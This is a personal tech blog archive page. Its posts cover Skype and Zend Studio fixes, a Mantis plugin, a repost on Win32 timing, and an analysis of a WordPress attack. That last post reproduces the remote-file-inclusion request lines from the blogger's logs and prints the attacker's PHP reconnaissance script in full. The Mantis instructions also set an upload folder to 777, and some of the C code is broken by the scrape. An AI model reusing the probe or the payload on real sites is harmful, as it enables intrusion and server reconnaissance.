Disable Skype home window from popping up

With the latest updates of Skype we got an extra present: an annoying Skype Home window popup! I dont like popups so I needed a solution to prevent this from happening.

It appears that before opening the Skype Home window, the application checks if an domain called apps.skype.com is available. When it cannot find it, it aborts the process.

Adding this line to my %WIN%/system32/drivers/etc/hosts file prevented the Skype Home window from popping up on my machine:                apps.skype.com

I’am not sure if it kills or breaks usefull functionality, but up until now everything continues to work fine.

This solution should also work on Mac OS and Linux but you’ll have to look for the exact location of the hosts file yourselfs.

If your not comfortable with changing the hosts file, have a look at Andrews’ Kill Skype Home (KSH).

Happy Skyping!

September 7th, 2011 - Posted in thingies | | 0 Comments

Install Zend Studio 5.5 on fedora 13

I just came from Eclipse with de Zend 7 plugin evaluation on Fedora 13. The installation worked perfect but the IDE was responding really slowly. Opening and closing Workbenches took ages, killing an task in progress did not resolved anything. Last but not least the FTP support really sucks, connecting to wrong ftp servers, mixing usernames, unable to retrieve directory listing etc.

Having seen that I decided to go back to Zend 5.5 but after the installation an old error popped up: Zend IDE starts but with an empty window. So here is the solution another time:

Make sure you add the line “-Dawt.toolkit=sun.awt.motif.MToolkit” to runStudio_unix.sh. It should give:


../jre/bin/java -Dawt.toolkit=sun.awt.motif.MToolkit -Xms16m -Xmx256m -cp ZendIDE.jar:MRJToolkitStubs.zip:sftp.jar:axis.jar:commons-discovery-0.2.jar:commons-logging-1.0.4.jar:javaxzombie.jar:jaxrpc.jar:saaj.jar:wsdl4j-1.5.1.jar:jhall.jar:../docs/help.zip com.zend.ide.desktop.Main

After that you need to install libXp with yum.

August 23rd, 2010 - Posted in thingies | | 1 Comments

Mantis plugin paste image from clipboard

Finally I’ve implemented the possibility to paste images from your clipboard directly into a bug report. We all know how difficult it is to post a really descriptive bug report and after all images speaks bookparts ;)

Credits: It’s made possible by a guy called lassebunk. You can find his blog over here.

- Mantis 1.1.8
- Lassebunk’s PasteImageApplet

1. Download mantis_screenshot_plugin.rar and replace the files in your Mantis installation
2. Download the PasteImageApplet.zip
3. Create the following directories in you Mantis root:
/plugin/pasteimageapplet/shots and CHMOD 777
4. Copy the files tst.jar and shoot.php to /plugin/pasteimageapplet

Example bugreport:


And thats it!

January 6th, 2010 - Posted in thingies | | 3 Comments

Import osCommerce data into Magento shops

The basics al boil down into creating an formatted CSV file which is readable by Magento(). We’ll be connecting directly to the osCommerce(osc) database using this small class.

Ofcourse I’ve tried several plugins either offered by Magento or/and other community supplied tools, but none could do the job. Either they didn’t install or suddenly broke off while processing data without any usefull warning or error.

November 24th, 2009 - Posted in thingies | | 0 Comments

Online convert thunderbird message filters to sieve script

For many years I’ve used Outlook as my main email client but 3 years ago I switched to Thunderbird. Now its time to leave the Windows Operating System for what its worth and from now on I’am using Fedora Core 11. My former jobs depended heavily on Windows (MSSQL, IIS, ASP) but that now belongs to the past.

Currently I like to explore the possibilities of FLEX with whatever Linux based backend (BlazeDS, amfPHP, etc.) Switching dekstop OS made me deside to go webbased as far as possible, so now it’s time to replace Thunderbird for a webbased email client like Roundcube. But what about the message filters, damn I really liked those!

Since we´re using a Cyrus mail server with Sieve I decided to write a simple conversion script, which works very simple: Thunderbird saves all rules for each account in a seperate file called msgFilterRules.dat* Select this file, located in the profile folder and press ‘Convert’
NB. This version only accounts for ‘or’ and ‘fileinto’ operations…

* If your using Thunderbird with more than one account you can copy this file to your other accounts to ‘copy’ the message filters ;)

November 5th, 2009 - Posted in thingies | | 1 Comments

AdWords tutorial

What are Google AdWords?

With Google AdWords, you can create and run ads for your business, quickly and simply. Run your ads on Google and our advertising network — no matter what your budget, you’ll only pay when people click your ads.

AdWords ads are displayed along with search results when someone searches Google using one of your keywords. That way, you’ll be advertising to an audience that’s already interested in your business. You can also choose to display your ads on content sites in the growing Google Network. And, you can choose the exact content placements where you’d like your ad to appear, or you can let contextual targeting match your keywords to content.

You can choose from a variety of ad formats, including text, image, and video ads, and easily track your ad performance using the reports available in your account.

There’s no minimum monthly charge with AdWords — just a nominal activation fee. Learn more about the cost of advertising with Google AdWords.

November 4th, 2009 - Posted in thingies | | 0 Comments

Timing in Win32

Original text by Ryan M. Geiss
Check out his other stuff too.. the guys has been busy ;)

Results of some quick research on timing in Win32
by Ryan Geiss - 16 August 2002 (...with updates since then)

You might be thinking to yourself: this is a pretty simple thing
to be posting; what's the big deal?  The deal is that somehow,
good timing code has eluded me for years.  Finally, frustrated,
I dug in and did some formal experiments on a few different computers,
testing the timing precision they could offer, using various win32
functions.  I was fairly surprised by the results!

I tested on three computers; here are their specs:

    Gemini:   933 mhz desktop, win2k
    Vaio:     333 mhz laptop,  win98
    HP:       733 mhz laptop,  win2k

Also, abbreviations to be used hereafter:

    ms: milliseconds, or 1/1,000 of a second
    us: microseconds, or 1/1,000,000 of a second

timeGetTime - what they don't tell you 

First, I tried to determine the precision of timeGetTime().
In order to do this, I simply ran a loop, constantly polling
timeGetTime() until the time changed, and then printing the
delta (between the prev. time and the new time).  I then looked
at the output, and for each computer, took the minimum of all
the delta's that occured.  (Usually, the minimum was very solid,
occuring about 90% of the time.)  The results:

              Resolution of timeGetTime()
    Gemini:   10 ms
    Vaio:     1 ms
    HP:       10 ms

For now, I am assuming that it was the OS kernel that made the
difference: win2k offers a max. precision of 10 ms for timeGetTime(),
while win98 is much better, at 1 ms.  I assume that WinXP would also
have a precision of 10 ms, and that Win95 would be ~1 ms, like Win98.
(If anyone tests this out, please let me know either way!)

(Note that using timeGetTime() unfortunately requires linking to
winmm.lib, which slightly increases your file size.  You could use
GetTickCount() instead, which doesn't require linking to winmm.lib,
but it tends to not have as good of a timer resolution... so I would
recommend sticking with timeGetTime().

Next, I tested Sleep().  A while back I noticed that when you call
Sleep(1), it doesn't really sleep for 1 ms; it usually sleeps for longer
than that.  I verified this by calling Sleep(1) ten times in a row,
and taking the difference in timeGetTime() readings from the beginning
to the end.  Whatever delta there was for these ten sleeps, I just divided
it by 10 to get the average duration of Sleep(1).  This turned out to be:

              Average duration of Sleep(1)
    Gemini:   10 ms  (10 calls to Sleep(1) took exactly 100 ms)
    Vaio:     ~4 ms  (10 calls to Sleep(1) took 35-45 ms)
    HP:       10 ms  (10 calls to Sleep(1) took exactly 100 ms)

Now, this was disturbing, because it meant that if you call Sleep(1)
and Sleep(9) on a win2k machine, there is no difference - it still
sleeps for 10 ms!  "So *this* is the reason all my timing code sucks,"
I sighed to myself.

Given that, I decided to give up on Sleep() and timeGetTime().  The
application I was working on required really good fps limiting, and
10ms Sleeps were not precise enough to do a good job.  So I looked

UPDATE: Matthijs de Boer points out that the timeGetTime function
returns a DWORD value, which will wraps around to 0 every 2^32
milliseconds, which is about 49.71 days, so you should write your
code to be aware of this possibility.

timeBeginPeriod / timeEndPeriod

HOWEVER, I should not have given up so fast!  It turns out that there
is a win32 command, timeBeginPeriod(), which solves our problem:
it lowers the granularity of Sleep() to whatever parameter you give it.
So if you're on windows 2000 and you call timeBeginPeriod(1) and then
Sleep(1), it will truly sleep for just 1 millisecond, rather than the
default 10!

timeBeginPeriod() only affects the granularity of Sleep() for the application
that calls it, so don't worry about messing up the system with it.  Also,
be sure you call timeEndPeriod() when your program exits, with the same
parameter you fed into timeBeginPeriod() when your program started (presumably
1).  Both of these functions are in winmm.lib, so you'll have to link to it
if you want to lower your Sleep() granularity down to 1 ms.

How reliable is it?  I have yet to find a system for which timeBeginPeriod(1)
does not drop the granularity of Sleep(1) to 1 or, at most, 2 milliseconds.
If anyone out there does, please let me know
(e-mail: );
I'd like to hear about it, and I will post a warning here.

Note also that calling timeBeginPeriod() also affects the granularity of some
other timing calls, such as CreateWaitableTimer() and WaitForSingleObject();
however, some functions are still unaffected, such as _ftime().  (Special
thanks to Mark Epstein for pointing this out to me!)

some convenient test code

The following code will tell you:
    1. what the granularity, or minimum resolution, of calls to timeGetTime() are,
on your system.  In other words, if you sit in a tight loop and call timeGetTime(),
only noting when the value returned changes, what value do you get?  This
granularity tells you, more or less, what kind of potential error to expect in
the result when calling timeGetTime().
    2. it also tests how long your machine really sleeps when you call Sleep(1).
Often this is actually 2 or more milliseconds, so be careful!

NOTE that these tests are performed after calling timeBeginPeriod(1), so if
you forget to call timeBeginPeriod(1) in your own init code, you might not get
as good of granularity as you see from this test!

        #include        “windows.h”

        int main(int argc, char **argv)
            const int count = 64;


            printf(”1. testing granularity of timeGetTime()…\n”);
            int its = 0;
            long cur = 0, last = timeGetTime();
            while (its < count) {
                cur = timeGetTime();
                if (cur != last) {
                    printf("%ld ", cur-last);
                    last = cur;

            printf("\n\n2. testing granularity of Sleep(1)...\n  ");
            long first = timeGetTime();
            cur = first;
            last = first;
            for (int n=0; n 0);

              Result of GetPentiumClockEstimateFromRegistry()
    Gemini:   975,175,680 Hz
    Vaio:     FAILED.
    HP:       573,571,072 Hz   <-- strange...

              Empirical tests: RDTSC delta after Sleep(1000)
    Gemini:   931,440,000 Hz
    Vaio:     331,500,000 Hz
    HP:        13,401,287 Hz

However, as you can see, this failed on Vaio (the win98 laptop).
Worse yet, however, is that on the HP, the value in the registry
does not match the MHz rating of the machine (733).  That would
be okay if the value was actually the rate at which the timer
ticked; but, after doing some empirical testing, it turns out that
the HP's timer frequency is really 13 MHz.  Trusting the
registry reading on the HP would be a big, big mistake!

So, one conclusion is: don't try to read the registry to get the
timer frequency; you're asking for trouble.  Instead, do it yourself.

Just call Sleep(1000) to allow 1 second (plus or minus ~1%) to pass,
calling GetPentiumTimeRaw() (below) at the beginning and end, and then
simply subtract the two unsigned __int64's, and voila, you now know
the frequency of the timer that feeds RDTSC on the current system.
(*watch out for timer wraps during that 1 second, though...)

Note that you could easily do this in the background, though, using
timeGetTime() instead of Sleep(), so there wouldn't be a 1-second pause
when your program starts.

        int GetPentiumTimeRaw(unsigned __int64 *ret)
            // returns 0 on failure, 1 on success
            // warning: watch out for wraparound!

            // get high-precision time:
                unsigned __int64 *dest = (unsigned __int64 *)ret;
                    _emit 0xf        // these two bytes form the 'rdtsc' asm instruction,
                    _emit 0x31       //  available on Pentium I and later.
                    mov esi, dest
                    mov [esi  ], eax    // lower 32 bits of tsc
                    mov [esi+4], edx    // upper 32 bits of tsc
                return 1;
                return 0;

            return 0;

Once you figure out the frequency, using this 1-second test, you can now
translate readings from the cpu's timestamp counter directly into a real
'time' reading, in seconds:

        double GetPentiumTimeAsDouble(unsigned __int64 frequency)
            // returns < 0 on failure; otherwise, returns current cpu time, in seconds.
            // warning: watch out for wraparound!

            if (frequency==0)
                return -1.0;

            // get high-precision time:
                unsigned __int64 high_perf_time;
                unsigned __int64 *dest = &high_perf_time;
                    _emit 0xf        // these two bytes form the 'rdtsc' asm instruction,
                    _emit 0x31       //  available on Pentium I and later.
                    mov esi, dest
                    mov [esi  ], eax    // lower 32 bits of tsc
                    mov [esi+4], edx    // upper 32 bits of tsc
                __int64 time_s     = (__int64)(high_perf_time / frequency);  // unsigned->sign conversion should be safe here
                __int64 time_fract = (__int64)(high_perf_time % frequency);  // unsigned->sign conversion should be safe here
                // note: here, we wrap the timer more frequently (once per week)
                // than it otherwise would (VERY RARELY - once every 585 years on
                // a 1 GHz), to alleviate floating-point precision errors that start
                // to occur when you get to very high counter values.
                double ret = (time_s % (60*60*24*7)) + (double)time_fract/(double)((__int64)frequency);
                return ret;
                return -1.0;

            return -1.0;

This works pretty well, works on ALL Pentium I and later processors, and offers
AMAZING precision.  However, it can be messy, especially working that 1-second
test in there with all your other code, so that it runs in the background.

UPDATE: Ross Bencina was kind enough to point out to me that rdtsc “is a per-cpu
operation, so on multiprocessor systems you have to be careful that multiple calls
to rdtsc are actually executing on the same cpu.”  (You can do that using the
SetThreadAffinityMask() function.)  Thanks Ross!

QueryPerformanceFrequency & QueryPerformanceCounter: Nice

There is one more item in our bag of tricks.  It is simple, elegant, and as far
as I can tell, extremely accurate and reliable.  It is a pair of win32 functions:
QueryPerformanceFrequency and QueryPerformanceCounter.

QueryPerformanceFrequency returns the amount that the counter will increment over
1 second; QueryPerformanceCounter returns a LARGE_INTEGER (a 64-bit *signed* integer)
that is the current value of the counter.  

Perhaps I am lucky, but it works flawlessly on my 3 machines.  The MSDN library
says that it should work on Windows 95 and later.  

Here are some results:

              Return value of QueryPerformanceFrequency
    Gemini:   3,579,545 Hz
    Vaio:     1,193,000 Hz
    HP:       3,579,545 Hz

              Maximum # of unique readings I could get in 1 second
    Gemini:   658,000  (-> 1.52 us resolution!)
    Vaio:     174,300  (-> 5.73 us resolution!)
    HP:       617,000  (-> 1.62 us resolution!)

I was pretty excited to see timing resolutions in the low-microsecond
range.  Note that for the latter test, I avoided printing any text
during the 1-second interval, as it would drastically affect the outcome.

Now, here is my question to you: do these two functions work for you?
What OS does the computer run, what is the MHz rating, and is it a laptop
or desktop?  What was the result of QueryPerformanceFrequency?
What was the max. # of unique readings you could get in 1 second?
Can you find any computers that it doesn’t work on?  Let me know (e-mail: ), and
I’ll collect & publish everyone’s results here.

So, until I find some computers that QueryPerformanceFrequency &
QueryPerformanceCounter don’t work on, I’m sticking with them.  If they fail,
I’ve got backup code that will kick in, which uses timeGetTime(); I didn’t
bother to use RDTSC because of the calibration issue, and I’m hopeful that
these two functions are highly reliable.  I suppose only feedback from
readers like you will tell… =)

UPDATE: a few people have written e-mail pointing me to this Microsoft Knowledge
Base article which outlines some cases in which the QueryPerformanceCounter
function can unexpectedly jump forward by a few seconds.

UPDATE: Matthijs de Boer points out that you can use the SetThreadAffinityMask()
function to make your thread stick to one core or the other, so that ‘rdtsc’ and
QueryPerformanceCounter() don’t have timing issues in dual core systems.

Accurate FPS Limiting / High-precision ‘Sleeps’

So now, when I need to do FPS limiting (limiting the framerate to some
maximum), I don’t just naively call Sleep() anymore.  Instead, I use
QueryPerformanceCounter in a loop that runs Sleep(0).  Sleep(0) simply
gives up your thread’s current timeslice to another waiting thread; it
doesn’t really sleep at all.  So, if you just keep calling Sleep(0)
in a loop until QueryPerformanceCounter() says you’ve hit the right time,
you’ll get ultra-accurate FPS readings.

There is one problem with this kind of fps limiting: it will use up
100% of the CPU.  Even though the computer WILL remain
quite responsive, because the app sucking up the idle time is being very
“nice”, this will still look very bad on the CPU meter (which will stay
at 100%) and, much worse, it will drain the battery quite quickly on

To get around this, I use a hybrid algorithm that uses Sleep() to do the
bulk of the waiting, and QueryPerformanceCounter() to do the finishing
touches, making it accurate to ~10 microseconds, but still wasting very
little processor.

My code for accurate FPS limiting looks something like this, and runs
at the end of each frame, immediately after the page flip:

        // note: BE SURE YOU CALL timeBeginPeriod(1) at program startup!!!
        // note: BE SURE YOU CALL timeEndPeriod(1) at program exit!!!
        // note: that will require linking to winmm.lib
        // note: never use static initializers (like this) with Winamp plug-ins!
        static LARGE_INTEGER m_prev_end_of_frame = 0;
        int max_fps = 60;

        LARGE_INTEGER t;

        if (m_prev_end_of_frame.QuadPart != 0)
            int ticks_to_wait = (int)m_high_perf_timer_freq.QuadPart / max_fps;
            int done = 0;

                int ticks_passed = (int)((__int64)t.QuadPart - (__int64)m_prev_end_of_frame.QuadPart);
                int ticks_left = ticks_to_wait - ticks_passed;

                if (t.QuadPart < m_prev_end_of_frame.QuadPart)    // time wrap
                    done = 1;
                if (ticks_passed >= ticks_to_wait)
                    done = 1;

                if (!done)
                    // if > 0.002s left, do Sleep(1), which will actually sleep some
                    //   steady amount, probably 1-2 ms,
                    //   and do so in a nice way (cpu meter drops; laptop battery spared).
                    // otherwise, do a few Sleep(0)’s, which just give up the timeslice,
                    //   but don’t really save cpu or battery, but do pass a tiny
                    //   amount of time.
                    if (ticks_left > (int)m_high_perf_timer_freq.QuadPart*2/1000)
                        for (int i=0; i<10; i++)
                            Sleep(0);  // causes thread to give up its timeslice
            while (!done);

        m_prev_end_of_frame = t;

...which is trivial to convert this into a high-precision Sleep() function.

Conclusions & Summary 

Using regular old timeGetTime() to do timing is not reliable on many Windows-based
operating systems because the granularity of the system timer can be as high as 10-15
milliseconds, meaning that timeGetTime() is only accurate to 10-15 milliseconds.
[Note that the high granularities occur on NT-based operation systems like Windows NT,
2000, and XP.  Windows 95 and 98 tend to have much better granularity, around 1-5 ms.]

However, if you call timeBeginPeriod(1) at the beginning of your program (and
timeEndPeriod(1) at the end), timeGetTime() will usually become accurate to 1-2
milliseconds, and will provide you with extremely accurate timing information.

Sleep() behaves similarly; the length of time that Sleep() actually sleeps for
goes hand-in-hand with the granularity of timeGetTime(), so after calling
timeBeginPeriod(1) once, Sleep(1) will actually sleep for 1-2 milliseconds, Sleep(2)
for 2-3, and so on (instead of sleeping in increments as high as 10-15 ms).

For higher precision timing (sub-millisecond accuracy), you'll probably want to avoid
using the assembly mnemonic RDTSC because it is hard to calibrate; instead, use
QueryPerformanceFrequency and QueryPerformanceCounter, which are accurate to less
than 10 microseconds (0.00001 seconds).  

For simple timing, both timeGetTime and QueryPerformanceCounter work well, and
QueryPerformanceCounter is obviously more accurate.  However, if you need to do
any kind of "timed pauses" (such as those necessary for framerate limiting), you
need to be careful of sitting in a loop calling QueryPerformanceCounter, waiting
for it to reach a certain value; this will eat up 100% of your processor.  Instead,
consider a hybrid scheme, where you call Sleep(1) (don't forget timeBeginPeriod(1)
first!) whenever you need to pass more than 1 ms of time, and then only enter the
QueryPerformanceCounter 100%-busy loop to finish off the last < 1/1000th of a
second of the delay you need.  This will give you ultra-accurate delays (accurate
to 10 microseconds), with very minimal CPU usage.  See the code above.

Please Note: Several people have written me over the years, offering additions
or new developments since I first wrote this article, and I've added 'update'
comments here and there.  The general text of the article DOES NOT reflect the
'UPDATE' comments yet, so please keep that in mind, if you see any contradictions.

UPDATE: Matthijs de Boer points out that you should watch out for variable CPU speeds,
in general, when running on laptops or other power-conserving (perhaps even just
eco-friendly) devices.  (Thanks Matthijs!)

This document copyright (c)2002+ Ryan M. Geiss.

July 14th, 2008 - Posted in thingies | | 0 Comments

Wordpress hack

One day I felt the need for visitors insight on this blog. In the immense list of available plugins I chose StatPress. Very nice and all kind of nice-too-knows popped up in the admin. Amongst three thingy entries too like:

July 10, 2008	02:06:36	_SERVER[SCRIPT_FILENAME]=http:...	Windows 2000

Mmm, probably a scriptannak with to much time on its hands. However this needs more investigation … in my logs I found the complete requests: - - [10/Jul/2008:02:06:33 +0200] "GET /2008/07/multiple-unlimited-php-versions-on-an-single-debian-apache-server/?_SERVER[SCRIPT_FILENAME]=http://test12356.altervista.org/id.txt? HTTP/1.1" 200 9638 "-" "Mozilla/4.8 [en] (Windows NT 5.0; U)" - - [10/Jul/2008:02:06:34 +0200] "GET /?_SERVER[SCRIPT_FILENAME]=http://test12356.altervista.org/id.txt? HTTP/1.1" 200 54974 "-" "Mozilla/4.8 [en] (Windows NT 5.0; U)" - - [10/Jul/2008:02:06:35 +0200] "GET /2008/07/?_SERVER[SCRIPT_FILENAME]=http://test12356.altervista.org/id.txt? HTTP/1.1" 200 18301 "-" "Mozilla/4.8 [en] (Windows NT 5.0; U)"

Ok, statpress is accurate about that :) For those who don´t know: Windows 2000 actually is NT5.0, afterall its the successor of Windows NT(New Technology) 4.0, which is the successor of Windows for Workgroups 3.x etc. So Windows Server 2003 is basically NT5.2.. I wonder how Windows Server 2008 is called….

Anyways, an GET request from altervista.org/id.txt dumped in ?_SERVER[SCRIPT_FILENAME] … if I´am correct this should be parsed by an php server as $_SERVER[SCRIPT_FILENAME] generating a warning or notice complaining about an assumed constant SCRIPT_FILENAME which will be set as altervista.org/id.txt?.. and supposedly including and parsing this id.txt thingie?? That is if register globals is set…right??

Let´s get this file with lynx http://test12356.altervista.org/id.txt?

< ? php
function ConvertBytes($number)
        $len = strlen($number);
        if($len < 4)
                return sprintf("%d b", $number);
        if($len >= 4 && $len <=6)
                return sprintf("%0.2f Kb", $number/1024);
        if($len >= 7 && $len <=9)
                return sprintf("%0.2f Mb", $number/1024/1024);

        return sprintf("%0.2f Gb", $number/1024/1024/1024);


echo "kungkang“;
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv(”SERVER_SOFTWARE”);
$php1 = phpversion();
$name1 = $_SERVER[’SERVER_NAME’];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo “kungkang was here ..“;
echo “uname -a: $un“;
echo “os: $os“;
echo “uptime: $up“;
echo “id: $id1“;
echo “pwd: $pwd1“;
echo “php: $php1“;
echo “software: $sof1“;
echo “server-name: $name1“;
echo “server-ip: $ip1“;
echo “free: $free“;
echo “used: $used“;
echo “total: $all“;

Look’s like a real phpinfo() ;) doesnt look too harmfull but Wordpress and Joomla should both be targets.. It does look outdated aswell cause I couldn´t get this thing to work, even with gobals registered. The output it should have generated:

304:25:03 up 32100 days, 8:59, 254 users, load average: 28.05, 45.15, 44.21 uid=651(nt5-iis) gid=651(nt5-iis) groups=651(nt5-iis) kungkang was here ..
uname -a: Fedora blog.virtec.org 2.2.18-5-%86-bigmem #1 SMP Tue Dec 18 22:34:10 UTC 2007 i686
os: Linux
uptime: 304:25:03 up 32100 days, 8:59, 254 users, load average: 28.05, 45.15, 44.21
id: uid=651(nt5-iis) gid=651(nt5-iis) groups=651(nt5-iis)
pwd: /var/htdocs/www/publish_http/
php: 5.0.6-0.FC.3
software: Apache
server-name: blog.virtec.org
free: 346128.63 Gb
used: 16342.80 Gb
total: 234591.44 Gb

This guys seems to be from indonesia and has a nice tag on http://www.strenna online.com/. I can advise you to disable javascripting before visiting.. however you wont be able to view his animation.

More information: whois strenna online.com

There are a million ways to inject everything into anything… and it will always be that way. If you´re looking for some protection checkout:

ModSecurity is a web application firewall that can work either embedded or as a reverse proxy. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring, logging and real-time analysis.

A Catalog of Security Attacks: Methods of attacking a web application from the attackers perspective and how to prevent each attack from the application developers perspective.

July 10th, 2008 - Posted in thingies | | 2 Comments